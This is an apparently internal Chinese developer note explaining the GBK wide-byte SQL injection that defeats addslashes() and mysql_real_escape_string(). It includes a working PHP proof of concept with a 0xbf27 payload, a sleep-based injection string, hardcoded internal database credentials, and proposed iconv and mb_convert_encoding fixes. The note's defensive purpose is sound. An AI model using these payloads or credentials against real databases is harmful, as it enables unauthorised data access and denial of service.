该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时,0xbf27本身不是一个有效的GBK字符,但经过 addslashes() 转换后变为0xbf5c27,前面的0xbf5c是个有效的GBK字符,所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理,结果漏洞就触发了。mysql_real_escape_string() 也存在相同的问题,只不过相比 addslashes() 它考虑到了用什么字符集来处理,因此可以用相应的字符集来处理字符。在MySQL中有两种改变默认字符集的方法。方法一:改变mysql配置文件my.cnf[client]default-character-set=GBK
方法二:在建立连接时使用CODE:SET CHARACTER SET 'GBK'例:mysql_query("SET CHARACTER SET 'gbk'", $c);或者mysql_query(“SET NAMES ‘GBK’”, $c);
问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞(备注:这句话是摘抄的,我也没看懂)
网络上查询到有人说:当mysql_real_escape_string检测到的编码方式跟client设置的编码方式(big5/bgk)不一致时,mysql_real_escape_string跟addslashes是没有区别的比如[client]default-character-set=latin1
mysql_query("SET CHARACTER SET 'gbk'", $mysql_conn);这种情况下mysql_real_escape_string 是基于 latin1工作的,是不安全的
[client]default-character-set=gbk
mysql_query("SET CHARACTER SET 'gbk'", $mysql_conn);这种情况下,mysql_real_escape_string 基于 gbk 工作,是正常的
但是,这里我108、153上验证的都不成功:用12机器的php文件在108机器mysql上,查询到
在153链接测试环境CDB结点:执行来自:http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码<?php //$c = mysql_connect("localhost", "user", "pass");$c = mysql_connect("10.1.164.108", "oss", "oss_da");mysql_select_db("a_jasonyeTest", $c);
//$c = mysql_connect("10.179.12.249:3332", "oss", "oss_da");//mysql_select_db("dbGuild20120903jasonye", $c);
mysql_select_db("database", $c);
// change our character setmysql_query("SET CHARACTER SET 'gbk'", $c);
// create demo tablemysql_query("CREATE TABLE users (username VARCHAR(32) PRIMARY KEY,password VARCHAR(32)) CHARACTER SET 'GBK'", $c);mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);
// now the exploit code$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username #';$_POST['password'] = 'anything';
// Proper escaping, we should be safe, right?$user = mysql_real_escape_string($_POST['username'], $c);$passwd = mysql_real_escape_string($_POST['password'], $c);
$sql = "SELECT * FROM users WHERE username = '{$user}' AND password = '{$passwd}'";$res = mysql_query($sql, $c);echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records
?>发现:都存在漏洞
纵观以上两种触发漏洞的关键是addslashes()、mysql_real_escape_string()在Mysql配置为GBK时就可以触发漏洞,另外:mysql_real_escape_string在执行前,必须正确连接到Mysql才有效。
又有,上面产生漏洞的原因主是有GBK的特殊字符所引起的,因而,我们需要在进行addslashes或者mysql_real_escape之前,对输入字符串进行特殊处理一下。
$this->sName = $_GET['name'];$this->sName=iconv('utf-8//IGNORE', 'gbk', $this->sName);$this->sName=iconv('gbk//IGNORE', 'utf-8', $this->sName);Iconv这种方式比较粗暴,对于不能识别的特殊字符之后的语句在153机器上会截断不能识别的字符后面的内容:如下:string(32) "41�' or sleep(10.10)=0 limit 1#"string(2) "41"
或者用mb_convert_encoding这个方式$tmp = mb_convert_encoding($_POST['username'], 'gbk','utf-8');$_POST['username'] = mb_convert_encoding($tmp, 'utf-8', 'gbk');这种方式会过滤掉不能识别的GBK字符。
这样处理之后,使用addslashes就没有问题拉。
后记,这里不光是%bf,其它许多字符也可以造成同样漏洞,大家可以自己做个测试的查下,这里有zwell文章提到的一个分析http://hackme.ntobjectives.com/sql_inject/login_addslashes.php
参考网页:http://www.cnblogs.com/Safe3/archive/2008/08/22/1274095.htmlhttp://ar.newsmth.net/thread-1d64171197dd0d-1.html
第二部分:SELECT COUNT(lGid) AS total FROM tbRank WHERE `sName` LIKE '%41\\\' or sleep(10.10)=0 limit 1#%
在上面SQL注入语句中,当count和SLEEP语句放在一块后,会引发mysql进程在表的每条记录上都sleep(n)秒,所以,如果如果表中有1000条记录时就会sleep 1000*n秒。而且这里还会引起整个表的锁表。
所以大家以后程序测试的时候一定要放在测试环境CDB结:6125_ieod_test_db 这个结点上上先进行安全中心的扫描工具扫描后再发布到正式CDB结点上,否则有可能会引起其他问题。